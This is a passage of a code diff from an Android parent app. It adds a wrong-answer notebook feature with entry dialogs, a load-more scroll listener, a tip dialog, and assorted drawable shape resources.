... ... @@ -0,0 +1,71 @@
  1 +package com.hjx.parent.adapter;
  2 +
  3 +
  4 +import androidx.annotation.NonNull;
  5 +import androidx.recyclerview.widget.LinearLayoutManager;
  6 +import androidx.recyclerview.widget.RecyclerView;
  7 +
  8 +public abstract class LoadMoreOnScrollListener extends RecyclerView.OnScrollListener {
  9 +
  10 + private LinearLayoutManager mLinearLayoutManager;
  11 +
  12 + private int currentPage = 1;
  13 +
  14 + /**
  15 + * 已经加载出来的item个数
  16 + */
  17 + private int totalItemCount;
  18 +
  19 + /**
  20 + * 上一个totalItemCount
  21 + */
  22 + private int previousTotal = 0;
  23 +
  24 + /**
  25 + * 屏幕上可见item个数
  26 + */
  27 + private int visibleItemCount;
  28 +
  29 + /**
  30 + * 屏幕可见item的第一个
  31 + */
  32 + private int firstVisiableItem;
  33 +
  34 + /**
  35 + * 是否正在上拉数据
  36 + */
  37 + private boolean isPulling = true;
  38 +
  39 + public LoadMoreOnScrollListener(LinearLayoutManager linearLayoutManager) {
  40 + this.mLinearLayoutManager = linearLayoutManager;
  41 + }
  42 +
  43 + @Override
  44 + public void onScrolled(@NonNull RecyclerView recyclerView, int dx, int dy) {
  45 + super.onScrolled(recyclerView, dx, dy);
  46 + // 可见item个数
  47 + visibleItemCount = recyclerView.getChildCount();
  48 + // item总数
  49 + totalItemCount = mLinearLayoutManager.getItemCount();
  50 + // 第一个可见item
  51 + firstVisiableItem = mLinearLayoutManager.findFirstVisibleItemPosition();
  52 +
  53 + if (isPulling) {
  54 + if (totalItemCount > previousTotal) {
  55 + // 数据成功获取才会执行 说明数据已经加载结束
  56 + isPulling = false;
  57 + previousTotal = totalItemCount;
  58 + }
  59 + }
  60 +
  61 + //如果获取数据失败,则不会这行此处,因为loading始终为true
  62 + //当最后一个item可见时,执行加载
  63 + if (!isPulling && totalItemCount - visibleItemCount <= firstVisiableItem) {
  64 + currentPage ++;
  65 + onLoadMore(currentPage);
  66 + isPulling = true;
  67 + }
  68 + }
  69 +
  70 + public abstract void onLoadMore(int currentPage);
  71 +}
... ...
app/src/main/java/com/hjx/parent/dialog/ErrorEditDialog.java
... ... @@ -0,0 +1,194 @@
  1 +package com.hjx.parent.dialog;
  2 +
  3 +import android.app.Dialog;
  4 +import android.content.Context;
  5 +import android.content.Intent;
  6 +import android.graphics.Color;
  7 +import android.os.Bundle;
  8 +import android.view.Gravity;
  9 +import android.view.View;
  10 +import android.view.Window;
  11 +import android.view.WindowManager;
  12 +import android.widget.AdapterView;
  13 +import android.widget.ArrayAdapter;
  14 +import android.widget.CompoundButton;
  15 +import android.widget.RadioButton;
  16 +import android.widget.RadioGroup;
  17 +
  18 +import androidx.annotation.NonNull;
  19 +import androidx.recyclerview.widget.LinearLayoutManager;
  20 +import androidx.recyclerview.widget.RecyclerView;
  21 +
  22 +import com.bumptech.glide.Glide;
  23 +import com.chad.library.adapter.base.BaseQuickAdapter;
  24 +import com.chad.library.adapter.base.BaseViewHolder;
  25 +import com.google.gson.Gson;
  26 +import com.hjx.parent.AddSuccessActivity;
  27 +import com.hjx.parent.App;
  28 +import com.hjx.parent.ImageActivity;
  29 +import com.hjx.parent.R;
  30 +import com.hjx.parent.bean.StudentBean;
  31 +import com.hjx.parent.databinding.DialogAddErrorBinding;
  32 +import com.hjx.parent.databinding.DialogEditErrorBinding;
  33 +import com.prws.common.bean.Grade;
  34 +import com.prws.common.bean.GradeAndSubject;
  35 +import com.prws.common.bean.ResponseResult;
  36 +import com.prws.common.bean.Subject;
  37 +import com.prws.common.bean.TopicBean;
  38 +import com.prws.common.net.NetWorks;
  39 +import com.prws.common.utils.CommonUtil;
  40 +import com.prws.common.utils.SharedPreferencesUtil;
  41 +import com.prws.common.utils.StringUtils;
  42 +
  43 +import java.util.ArrayList;
  44 +import java.util.HashMap;
  45 +import java.util.List;
  46 +import java.util.Map;
  47 +
  48 +import io.reactivex.Observer;
  49 +import io.reactivex.disposables.Disposable;
  50 +
  51 +public class ErrorEditDialog extends Dialog {
  52 + private Context context;
  53 + private DialogEditErrorBinding binding;
  54 + private List<TopicBean> list;
  55 + private Grade grade;
  56 + private Subject subject;
  57 + private int reason;
  58 + private int type = 0;
  59 + private EditInterface editInterface;
  60 +
  61 + public interface EditInterface {
  62 + void edit(String name, int reason);
  63 + }
  64 +
  65 + public ErrorEditDialog(@NonNull Context context, List<TopicBean> list, EditInterface editInterface) {
  66 + super(context, R.style.MyAlertDialog);
  67 + this.context = context;
  68 + this.list = list;
  69 + this.editInterface = editInterface;
  70 + }
  71 +
  72 + @Override
  73 + protected void onCreate(Bundle savedInstanceState) {
  74 + super.onCreate(savedInstanceState);
  75 + binding = DialogEditErrorBinding.inflate(getLayoutInflater());
  76 + setContentView(binding.getRoot());
  77 + Window dialogWindow = getWindow();
  78 + WindowManager.LayoutParams lp = dialogWindow.getAttributes();
  79 + lp.width = CommonUtil.getScreenWidth(getContext());
  80 + dialogWindow.setGravity(Gravity.BOTTOM);
  81 + dialogWindow.setAttributes(lp);
  82 + List<String> grades = new ArrayList<>();
  83 + for (GradeAndSubject grade : App.getInstance().getGradeAndSubjects()) {
  84 + grades.add(grade.getGrade().getGrade());
  85 + }
  86 + ArrayAdapter<String> gradeAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, grades);
  87 + binding.spinnerGrade.setAdapter(gradeAdapter);
  88 + binding.spinnerGrade.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
  89 + @Override
  90 + public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
  91 + grade = App.getInstance().getGradeAndSubjects().get(position).getGrade();
  92 + refreshSubject(App.getInstance().getGradeAndSubjects().get(position).getSubjects());
  93 + }
  94 +
  95 + @Override
  96 + public void onNothingSelected(AdapterView<?> parent) {
  97 +
  98 + }
  99 + });
  100 + ArrayAdapter<String> reasonAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, context.getResources().getStringArray(R.array.error_reason));
  101 + binding.spinnerReason.setAdapter(reasonAdapter);
  102 + binding.spinnerReason.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
  103 + @Override
  104 + public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
  105 + reason = position;
  106 + }
  107 +
  108 + @Override
  109 + public void onNothingSelected(AdapterView<?> parent) {
  110 +
  111 + }
  112 + });
  113 + RadioButton typeButton = (RadioButton) binding.typeRadio.getChildAt(type);
  114 + typeButton.setChecked(true);
  115 + binding.typeRadio.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() {
  116 + @Override
  117 + public void onCheckedChanged(RadioGroup group, int checkedId) {
  118 + RadioButton rcheck = (RadioButton) findViewById(checkedId);
  119 + type = getContext().getString(R.string.topic_type_in).equals(rcheck.getText().toString()) ? 0 : 1;
  120 + }
  121 + });
  122 + binding.ivBack.setOnClickListener(new View.OnClickListener() {
  123 + @Override
  124 + public void onClick(View v) {
  125 + dismiss();
  126 + }
  127 + });
  128 + binding.addTopic.setOnClickListener(new View.OnClickListener() {
  129 + @Override
  130 + public void onClick(View v) {
  131 + editError();
  132 + }
  133 + });
  134 + }
  135 +
  136 + private void editError() {
  137 + List<HashMap<String, Object>> hashMapArrayList = new ArrayList<>();
  138 + for (TopicBean topicBean : list) {
  139 + HashMap<String, Object> map = new HashMap<>();
  140 + map.put("bookId", topicBean.getId());
  141 + map.put("grade", grade.getGrade());
  142 + map.put("subject", subject.getSubject());
  143 + map.put("errorReason", String.valueOf(reason));
  144 + map.put("title", grade.getGrade() + "-" + subject.getSubject() + "-" + (type == 0 ? "课内" : "课外") + "错题");
  145 + map.put("type", type);
  146 + hashMapArrayList.add(map);
  147 + }
  148 + NetWorks.editError(hashMapArrayList, new Observer<ResponseResult>() {
  149 + @Override
  150 + public void onSubscribe(Disposable d) {
  151 +
  152 + }
  153 +
  154 + @Override
  155 + public void onNext(ResponseResult responseResult) {
  156 + if (responseResult.getCode() == 200) {
  157 + editInterface.edit(grade.getGrade() + "-" + subject.getSubject() + "-" + (type == 0 ? "课内" : "课外") + "错题", reason);
  158 + dismiss();
  159 + }
  160 + }
  161 +
  162 + @Override
  163 + public void onError(Throwable e) {
  164 +
  165 + }
  166 +
  167 + @Override
  168 + public void onComplete() {
  169 +
  170 + }
  171 + });
  172 + }
  173 +
  174 + private void refreshSubject(List<Subject> subjects) {
  175 + List<String> s = new ArrayList<>();
  176 + for (Subject subject : subjects) {
  177 + s.add(subject.getSubject());
  178 + }
  179 + ArrayAdapter<String> subjectAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, s);
  180 + binding.spinnerSubject.setAdapter(subjectAdapter);
  181 + binding.spinnerSubject.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
  182 + @Override
  183 + public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
  184 + subject = subjects.get(position);
  185 + }
  186 +
  187 + @Override
  188 + public void onNothingSelected(AdapterView<?> parent) {
  189 +
  190 + }
  191 + });
  192 + }
  193 +
  194 +}
... ...
app/src/main/java/com/hjx/parent/dialog/ErrorInputDialog.java
... ... @@ -0,0 +1,273 @@
  1 +package com.hjx.parent.dialog;
  2 +
  3 +import android.app.Dialog;
  4 +import android.content.Context;
  5 +import android.content.Intent;
  6 +import android.graphics.Color;
  7 +import android.graphics.drawable.Drawable;
  8 +import android.os.Bundle;
  9 +import android.view.Gravity;
  10 +import android.view.View;
  11 +import android.view.Window;
  12 +import android.view.WindowManager;
  13 +import android.widget.AdapterView;
  14 +import android.widget.ArrayAdapter;
  15 +import android.widget.CompoundButton;
  16 +import android.widget.RadioButton;
  17 +import android.widget.RadioGroup;
  18 +
  19 +import androidx.annotation.NonNull;
  20 +import androidx.recyclerview.widget.LinearLayoutManager;
  21 +import androidx.recyclerview.widget.RecyclerView;
  22 +
  23 +import com.bumptech.glide.Glide;
  24 +import com.chad.library.adapter.base.BaseQuickAdapter;
  25 +import com.chad.library.adapter.base.BaseViewHolder;
  26 +import com.google.gson.Gson;
  27 +import com.hjx.parent.AddSuccessActivity;
  28 +import com.hjx.parent.App;
  29 +import com.hjx.parent.ImageActivity;
  30 +import com.hjx.parent.R;
  31 +import com.hjx.parent.bean.StudentBean;
  32 +import com.hjx.parent.databinding.DialogAddErrorBinding;
  33 +import com.prws.common.bean.Grade;
  34 +import com.prws.common.bean.GradeAndSubject;
  35 +import com.prws.common.bean.ResponseResult;
  36 +import com.prws.common.bean.Subject;
  37 +import com.prws.common.bean.TopicBean;
  38 +import com.prws.common.net.NetWorks;
  39 +import com.prws.common.utils.CommonUtil;
  40 +import com.prws.common.utils.SharedPreferencesUtil;
  41 +import com.prws.common.utils.StringUtils;
  42 +
  43 +import java.util.ArrayList;
  44 +import java.util.HashMap;
  45 +import java.util.List;
  46 +import java.util.Map;
  47 +
  48 +import io.reactivex.Observer;
  49 +import io.reactivex.disposables.Disposable;
  50 +
  51 +public class ErrorInputDialog extends Dialog {
  52 + private ImageActivity context;
  53 + private DialogAddErrorBinding binding;
  54 + private List<TopicBean> list;
  55 + private int select = 0;
  56 + private Grade grade;
  57 + private Subject subject;
  58 + private int reason;
  59 + private int type = 0;
  60 + BaseQuickAdapter adapter;
  61 +
  62 + public ErrorInputDialog(@NonNull ImageActivity context, List<TopicBean> list) {
  63 + super(context, R.style.MyAlertDialog);
  64 + this.context = context;
  65 + this.list = list;
  66 + }
  67 +
  68 + @Override
  69 + protected void onCreate(Bundle savedInstanceState) {
  70 + super.onCreate(savedInstanceState);
  71 + binding = DialogAddErrorBinding.inflate(getLayoutInflater());
  72 + setContentView(binding.getRoot());
  73 + Window dialogWindow = getWindow();
  74 + WindowManager.LayoutParams lp = dialogWindow.getAttributes();
  75 + lp.width = CommonUtil.getScreenWidth(getContext());
  76 + dialogWindow.setGravity(Gravity.BOTTOM);
  77 + dialogWindow.setAttributes(lp);
  78 + adapter = new BaseQuickAdapter(R.layout.item_topic, list) {
  79 + @Override
  80 + protected void convert(@NonNull BaseViewHolder item, Object o) {
  81 + int position = item.getAdapterPosition();
  82 + item.setText(R.id.tv_name, context.getString(R.string.num_topic, StringUtils.intToChinese(position + 1)));
  83 + if (list.get(position).isFinish()) {
  84 + item.setGone(R.id.iv_click, true);
  85 + item.setBackgroundRes(R.id.tv_name, R.drawable.topic_finish_bg);
  86 + item.setTextColor(R.id.tv_name, Color.parseColor("#1C90F3"));
  87 + } else if (select == position) {
  88 + item.setGone(R.id.iv_click, false);
  89 + item.setBackgroundRes(R.id.tv_name, R.drawable.button_select_topic_bg);
  90 + item.setTextColor(R.id.tv_name, Color.parseColor("#1C90F3"));
  91 + } else {
  92 + item.setGone(R.id.iv_click, false);
  93 + item.setBackgroundRes(R.id.tv_name, R.drawable.button_topic_bg);
  94 + item.setTextColor(R.id.tv_name, Color.parseColor("#999999"));
  95 + }
  96 + item.getConvertView().setOnClickListener(new View.OnClickListener() {
  97 + @Override
  98 + public void onClick(View v) {
  99 + select = position;
  100 + loadError();
  101 + notifyDataSetChanged();
  102 + }
  103 + });
  104 + }
  105 +
  106 + @Override
  107 + public void onBindViewHolder(@NonNull RecyclerView.ViewHolder holder, int position) {
  108 +
  109 + }
  110 + };
  111 + binding.listItem.setLayoutManager(new LinearLayoutManager(context, LinearLayoutManager.HORIZONTAL, false));
  112 + binding.listItem.setAdapter(adapter);
  113 + List<String> grades = new ArrayList<>();
  114 + for (GradeAndSubject grade : App.getInstance().getGradeAndSubjects()) {
  115 + grades.add(grade.getGrade().getGrade());
  116 + }
  117 + ArrayAdapter<String> gradeAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, grades);
  118 + binding.spinnerGrade.setAdapter(gradeAdapter);
  119 + binding.spinnerGrade.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
  120 + @Override
  121 + public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
  122 + grade = App.getInstance().getGradeAndSubjects().get(position).getGrade();
  123 + refreshSubject(App.getInstance().getGradeAndSubjects().get(position).getSubjects());
  124 + }
  125 +
  126 + @Override
  127 + public void onNothingSelected(AdapterView<?> parent) {
  128 +
  129 + }
  130 + });
  131 + ArrayAdapter<String> reasonAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, context.getResources().getStringArray(R.array.error_reason));
  132 + binding.spinnerReason.setAdapter(reasonAdapter);
  133 + binding.spinnerReason.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
  134 + @Override
  135 + public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
  136 + reason = position;
  137 + }
  138 +
  139 + @Override
  140 + public void onNothingSelected(AdapterView<?> parent) {
  141 +
  142 + }
  143 + });
  144 + RadioButton typeButton = (RadioButton) binding.typeRadio.getChildAt(type);
  145 + typeButton.setChecked(true);
  146 + binding.typeRadio.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() {
  147 + @Override
  148 + public void onCheckedChanged(RadioGroup group, int checkedId) {
  149 + RadioButton rcheck = (RadioButton) findViewById(checkedId);
  150 + type = getContext().getString(R.string.topic_type_in).equals(rcheck.getText().toString()) ? 0 : 1;
  151 + list.get(select).setType(type);
  152 + }
  153 + });
  154 + binding.ivBack.setOnClickListener(new View.OnClickListener() {
  155 + @Override
  156 + public void onClick(View v) {
  157 + dismiss();
  158 + }
  159 + });
  160 + binding.checkbox.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
  161 + @Override
  162 + public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
  163 + if (isChecked) {
  164 + binding.addTopic.setText("全部加入错题本");
  165 + } else {
  166 + binding.addTopic.setText("第" + StringUtils.intToChinese(select + 1) + "题加入错题本");
  167 + }
  168 + }
  169 + });
  170 + binding.addTopic.setOnClickListener(new View.OnClickListener() {
  171 + @Override
  172 + public void onClick(View v) {
  173 + if (binding.checkbox.isChecked()) {
  174 + for (TopicBean topicBean : list) {
  175 + addTopic(topicBean);
  176 + }
  177 + } else {
  178 + addTopic(list.get(select));
  179 + }
  180 + }
  181 + });
  182 + loadError();
  183 + }
  184 +
  185 + private void refreshSubject(List<Subject> subjects) {
  186 + List<String> s = new ArrayList<>();
  187 + for (Subject subject : subjects) {
  188 + s.add(subject.getSubject());
  189 + }
  190 + ArrayAdapter<String> subjectAdapter = new ArrayAdapter<>(context, R.layout.item_for_custom_spinner, s);
  191 + binding.spinnerSubject.setAdapter(subjectAdapter);
  192 + binding.spinnerSubject.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
  193 + @Override
  194 + public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
  195 + subject = subjects.get(position);
  196 + }
  197 +
  198 + @Override
  199 + public void onNothingSelected(AdapterView<?> parent) {
  200 +
  201 + }
  202 + });
  203 + }
  204 +
  205 + private void loadError() {
  206 + TopicBean bean = list.get(select);
  207 + Glide.with(getContext()).load(bean.getPath()).override(CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(getContext(), 40), CommonUtil.dpToPx(getContext(), 90)).fitCenter().into(binding.ivTopic);
  208 + if (!binding.checkbox.isChecked()) {
  209 + binding.addTopic.setText("第" + StringUtils.intToChinese(select + 1) + "题加入错题本");
  210 + }
  211 + }
  212 +
  213 + private void addTopic(TopicBean bean) {
  214 + if (!bean.isFinish()) {
  215 + bean.setId(String.valueOf(System.currentTimeMillis()));
  216 + bean.setDate(String.valueOf(System.currentTimeMillis()));
  217 + bean.setGrade(grade.getGrade());
  218 + bean.setType(type);
  219 + bean.setSubject(subject.getSubject());
  220 + String student = (String) SharedPreferencesUtil.getData("student", "");
  221 + StudentBean studentBean = new Gson().fromJson(student, StudentBean.class);
  222 + Map<String, String> param = new HashMap<>();
  223 + param.put("bookId", bean.getId());
  224 + param.put("stuId", studentBean.getStuId());
  225 + param.put("errorReason", String.valueOf(reason));
  226 + param.put("title", grade.getGrade() + "-" + subject.getSubject() + "-" + (type == 0 ? "课内" : "课外") + "错题");
  227 + param.put("subject", bean.getSubject());
  228 + param.put("grade", bean.getGrade());
  229 + param.put("type", String.valueOf(bean.getType()));
  230 + param.put("teacherFlag", "0");
  231 + param.put("controlFlag", "1");
  232 + NetWorks.addError(bean.getPath(), param, new Observer<ResponseResult>() {
  233 + @Override
  234 + public void onSubscribe(Disposable d) {
  235 +
  236 + }
  237 +
  238 + @Override
  239 + public void onNext(ResponseResult responseResult) {
  240 + if (responseResult.getCode() == 200) {
  241 + bean.setFinish(true);
  242 + boolean isAllAdd = true;
  243 + for (int i = 0; i < list.size(); i++) {
  244 + if (!list.get(i).isFinish()) {
  245 + select = i;
  246 + adapter.notifyDataSetChanged();
  247 + isAllAdd = false;
  248 + loadError();
  249 + break;
  250 + }
  251 + }
  252 + if (isAllAdd) {
  253 + dismiss();
  254 + Intent intent = new Intent(context, AddSuccessActivity.class);
  255 + context.startActivity(intent);
  256 + context.finish();
  257 + }
  258 + }
  259 + }
  260 +
  261 + @Override
  262 + public void onError(Throwable e) {
  263 +
  264 + }
  265 +
  266 + @Override
  267 + public void onComplete() {
  268 +
  269 + }
  270 + });
  271 + }
  272 + }
  273 +}
... ...
app/src/main/java/com/hjx/parent/dialog/TipDialog.java
... ... @@ -0,0 +1,70 @@
  1 +package com.hjx.parent.dialog;
  2 +
  3 +import android.app.Dialog;
  4 +import android.content.Context;
  5 +import android.os.Bundle;
  6 +import android.view.View;
  7 +import android.view.Window;
  8 +import android.view.WindowManager;
  9 +
  10 +import androidx.annotation.NonNull;
  11 +
  12 +import com.hjx.parent.R;
  13 +import com.hjx.parent.databinding.DialogTipBinding;
  14 +import com.prws.common.utils.CommonUtil;
  15 +
  16 +
  17 +public class TipDialog extends Dialog {
  18 + private Context context;
  19 + private DialogTipBinding binding;
  20 + private TipDialogInterface dialogInterface;
  21 + private String title;
  22 + private String content;
  23 + private String confirm;
  24 + private String cancel;
  25 +
  26 + public TipDialog(@NonNull Context context, String title, String content, String confirm, String cancel, TipDialogInterface dialogInterface) {
  27 + super(context, R.style.MyAlertDialog);
  28 + this.context = context;
  29 + this.dialogInterface = dialogInterface;
  30 + this.title = title;
  31 + this.content = content;
  32 + this.confirm = confirm;
  33 + this.cancel = cancel;
  34 + }
  35 +
  36 + @Override
  37 + protected void onCreate(Bundle savedInstanceState) {
  38 + super.onCreate(savedInstanceState);
  39 + binding = DialogTipBinding.inflate(getLayoutInflater());
  40 + setContentView(binding.getRoot());
  41 + this.setCancelable(true);
  42 + Window dialogWindow = getWindow();
  43 + WindowManager.LayoutParams lp = dialogWindow.getAttributes();
  44 + lp.width = CommonUtil.getScreenWidth(getContext());
  45 + lp.height = CommonUtil.getRawScreenSize(getContext())[1];
  46 + dialogWindow.setAttributes(lp);
  47 + binding.tvCancel.setText(cancel);
  48 + binding.tvCancel.setOnClickListener(new View.OnClickListener() {
  49 + @Override
  50 + public void onClick(View view) {
  51 + dialogInterface.onCancel(TipDialog.this);
  52 + }
  53 + });
  54 + binding.tvConfirm.setText(confirm);
  55 + binding.tvConfirm.setOnClickListener(new View.OnClickListener() {
  56 + @Override
  57 + public void onClick(View view) {
  58 + dialogInterface.onConfirm(TipDialog.this);
  59 + }
  60 + });
  61 + binding.tvTitle.setText(title);
  62 + binding.tvContent.setText(content);
  63 + }
  64 +
  65 + public interface TipDialogInterface {
  66 + void onConfirm(Dialog dialog);
  67 +
  68 + void onCancel(Dialog dialog);
  69 + }
  70 +}
... ...
app/src/main/java/com/hjx/parent/fragment/HomeFragment.java
... ... @@ -25,6 +25,7 @@ import com.hjq.permissions.OnPermissionCallback;
25 25 import com.hjq.permissions.Permission;
26 26 import com.hjq.permissions.XXPermissions;
27 27 import com.hjx.parent.ChooseActivity;
  28 +import com.hjx.parent.ErrorBookActivity;
28 29 import com.hjx.parent.QRActivity;
29 30 import com.hjx.parent.R;
30 31 import com.hjx.parent.bean.StudentBean;
... ... @@ -100,6 +101,11 @@ public class HomeFragment extends BaseFragment {
100 101 });
101 102 }
102 103  
  104 + @OnClick(R.id.ll_error)
  105 + public void goError(View view) {
  106 + Intent intent = new Intent(getActivity(), ErrorBookActivity.class);
  107 + startActivity(intent);
  108 + }
103 109  
104 110 @Override
105 111 public void onResume() {
... ...
app/src/main/java/com/hjx/parent/fragment/MeFragment.java
... ... @@ -167,6 +167,11 @@ public class MeFragment extends BaseFragment {
167 167 alist.add(0, sb);
168 168 BaseQuickAdapter adapter = new BaseQuickAdapter(R.layout.item_child, alist) {
169 169 @Override
  170 + public void onBindViewHolder(@NonNull RecyclerView.ViewHolder holder, int position) {
  171 +
  172 + }
  173 +
  174 + @Override
170 175 protected void convert(@NonNull BaseViewHolder item, Object o) {
171 176 StudentBean studentBean = alist.get(item.getAdapterPosition());
172 177 item.setText(R.id.tv_name, studentBean.getNickName());
... ...
app/src/main/res/drawable/bg_cut_select.xml
... ... @@ -0,0 +1,7 @@
  1 +<shape xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:shape="rectangle">
  3 + <solid android:color="#331C90F3" />
  4 + <stroke
  5 + android:width="1dp"
  6 + android:color="#1C90F3" />
  7 +</shape>
0 8 \ No newline at end of file
... ...
app/src/main/res/drawable/bg_cut_unselect.xml
... ... @@ -0,0 +1,7 @@
  1 +<shape xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:shape="rectangle">
  3 + <solid android:color="#33000000" />
  4 + <stroke
  5 + android:width="1dp"
  6 + android:color="#999999" />
  7 +</shape>
0 8 \ No newline at end of file
... ...
app/src/main/res/drawable/bg_done_text.xml
... ... @@ -0,0 +1,5 @@
  1 +<shape xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:shape="rectangle">
  3 + <solid android:color="@color/error_blue" />
  4 + <corners android:radius="5dp" />
  5 +</shape>
0 6 \ No newline at end of file
... ...
app/src/main/res/drawable/bg_item_video_10.xml
... ... @@ -2,10 +2,8 @@
2 2 <shape xmlns:android="http://schemas.android.com/apk/res/android"
3 3 android:shape="rectangle">
4 4  
5   - <solid android:color="#FFF9F6" />
  5 + <solid android:color="#FFFFFF" />
6 6  
7   - <corners
8   - android:radius="10dp"
9   - />
  7 + <corners android:radius="10dp" />
10 8  
11 9 </shape>
12 10 \ No newline at end of file
... ...
app/src/main/res/drawable/bg_soild_blue_25.xml
... ... @@ -0,0 +1,9 @@
  1 +<?xml version="1.0" encoding="utf-8"?>
  2 +<shape xmlns:android="http://schemas.android.com/apk/res/android"
  3 + android:shape="rectangle">
  4 +
  5 + <solid android:color="#1C90F3" />
  6 +
  7 + <corners android:radius="25dp" />
  8 +
  9 +</shape>
0 10 \ No newline at end of file
... ...
app/src/main/res/drawable/bg_soild_blue_5.xml
... ... @@ -0,0 +1,9 @@
  1 +<?xml version="1.0" encoding="utf-8"?>
  2 +<shape xmlns:android="http://schemas.android.com/apk/res/android"
  3 + android:shape="rectangle">
  4 +
  5 + <solid android:color="#1C90F3" />
  6 +
  7 + <corners android:radius="5dp" />
  8 +
  9 +</shape>
0 10 \ No newline at end of file
... ...
app/src/main/res/drawable/bg_soild_blue_border_25.xml
... ... @@ -0,0 +1,11 @@
  1 +<?xml version="1.0" encoding="utf-8"?>
  2 +<shape xmlns:android="http://schemas.android.com/apk/res/android"
  3 + android:shape="rectangle">
  4 +
  5 + <solid android:color="@color/white" />
  6 +
  7 + <corners android:radius="25dp" />
  8 + <stroke
  9 + android:width="1dp"
  10 + android:color="#1C90F3" />
  11 +</shape>
0 12 \ No newline at end of file
... ...
app/src/main/res/drawable/bg_soild_blue_light_5.xml
... ... @@ -0,0 +1,9 @@
  1 +<?xml version="1.0" encoding="utf-8"?>
  2 +<shape xmlns:android="http://schemas.android.com/apk/res/android"
  3 + android:shape="rectangle">
  4 +
  5 + <solid android:color="#8DC7F9" />
  6 +
  7 + <corners android:radius="5dp" />
  8 +
  9 +</shape>
0 10 \ No newline at end of file
... ...
app/src/main/res/drawable/bg_soild_gray_5.xml
... ... @@ -0,0 +1,9 @@
  1 +<?xml version="1.0" encoding="utf-8"?>
  2 +<shape xmlns:android="http://schemas.android.com/apk/res/android"
  3 + android:shape="rectangle">
  4 +
  5 + <solid android:color="#F5F5F5" />
  6 +
  7 + <corners android:radius="5dp" />
  8 +
  9 +</shape>
0 10 \ No newline at end of file
... ...
app/src/main/res/drawable/bg_soild_orange_5.xml
... ... @@ -0,0 +1,9 @@
  1 +<?xml version="1.0" encoding="utf-8"?>
  2 +<shape xmlns:android="http://schemas.android.com/apk/res/android"
  3 + android:shape="rectangle">
  4 +
  5 + <solid android:color="#FF8610" />
  6 +
  7 + <corners android:radius="5dp" />
  8 +
  9 +</shape>
0 10 \ No newline at end of file
... ...
app/src/main/res/drawable/bg_solid_white.xml
... ... @@ -2,10 +2,8 @@
2 2 <shape xmlns:android="http://schemas.android.com/apk/res/android"
3 3 android:shape="rectangle">
4 4  
5   - <solid android:color="#F7F8FA" />
  5 + <solid android:color="#FFFFFF" />
6 6  
7   - <corners
8   - android:radius="25dp"
9   - />
  7 + <corners android:radius="25dp" />
10 8  
11 9 </shape>
12 10 \ No newline at end of file
... ...
app/src/main/res/drawable/bg_solid_white_10.xml
... ... @@ -4,8 +4,6 @@
4 4  
5 5 <solid android:color="#FFFFFF" />
6 6  
7   - <corners
8   - android:radius="10dp"
9   - />
  7 + <corners android:radius="10dp" />
10 8  
11 9 </shape>
12 10 \ No newline at end of file
... ...
app/src/main/res/drawable/bg_solid_white_10_top.xml
... ... @@ -5,8 +5,7 @@
5 5 <solid android:color="#FFFFFF" />
6 6  
7 7 <corners
8   - android:topRightRadius="10dp"
9 8 android:topLeftRadius="10dp"
10   - />
  9 + android:topRightRadius="10dp" />
11 10  
12 11 </shape>
13 12 \ No newline at end of file
... ...
app/src/main/res/drawable/bg_solid_white_20.xml
... ... @@ -6,7 +6,6 @@
6 6  
7 7 <corners
8 8 android:topLeftRadius="20dp"
9   - android:topRightRadius="20dp"
10   - />
  9 + android:topRightRadius="20dp" />
11 10  
12 11 </shape>
13 12 \ No newline at end of file
... ...
app/src/main/res/drawable/bg_undo_text.xml
... ... @@ -0,0 +1,5 @@
  1 +<shape xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:shape="rectangle">
  3 + <solid android:color="@color/undo_red" />
  4 + <corners android:radius="5dp" />
  5 +</shape>
0 6 \ No newline at end of file
... ...
app/src/main/res/drawable/button_select_topic_bg.xml
... ... @@ -0,0 +1,8 @@
  1 +<shape xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:shape="rectangle">
  3 + <stroke
  4 + android:width="1dp"
  5 + android:color="#1C90F3" />
  6 + <solid android:color="@color/white" />
  7 + <corners android:radius="5dp" />
  8 +</shape>
0 9 \ No newline at end of file
... ...
app/src/main/res/drawable/button_topic_bg.xml
... ... @@ -0,0 +1,8 @@
  1 +<shape xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:shape="rectangle">
  3 + <stroke
  4 + android:width="1dp"
  5 + android:color="#CCCCCC" />
  6 + <solid android:color="@color/white" />
  7 + <corners android:radius="5dp" />
  8 +</shape>
0 9 \ No newline at end of file
... ...
app/src/main/res/drawable/checkbox_check.png

632 Bytes

app/src/main/res/drawable/checkbox_checked.png

825 Bytes

app/src/main/res/drawable/checkbox_selector.xml
... ... @@ -0,0 +1,5 @@
  1 +<?xml version="1.0" encoding="UTF-8"?>
  2 +<selector xmlns:android="http://schemas.android.com/apk/res/android">
  3 + <item android:drawable="@drawable/checkbox_checked" android:state_checked="true" />
  4 + <item android:drawable="@drawable/checkbox_check" android:state_checked="false" />
  5 +</selector>
0 6 \ No newline at end of file
... ...
app/src/main/res/drawable/filter_button_selector.xml
... ... @@ -0,0 +1,4 @@
  1 +<selector xmlns:android="http://schemas.android.com/apk/res/android">
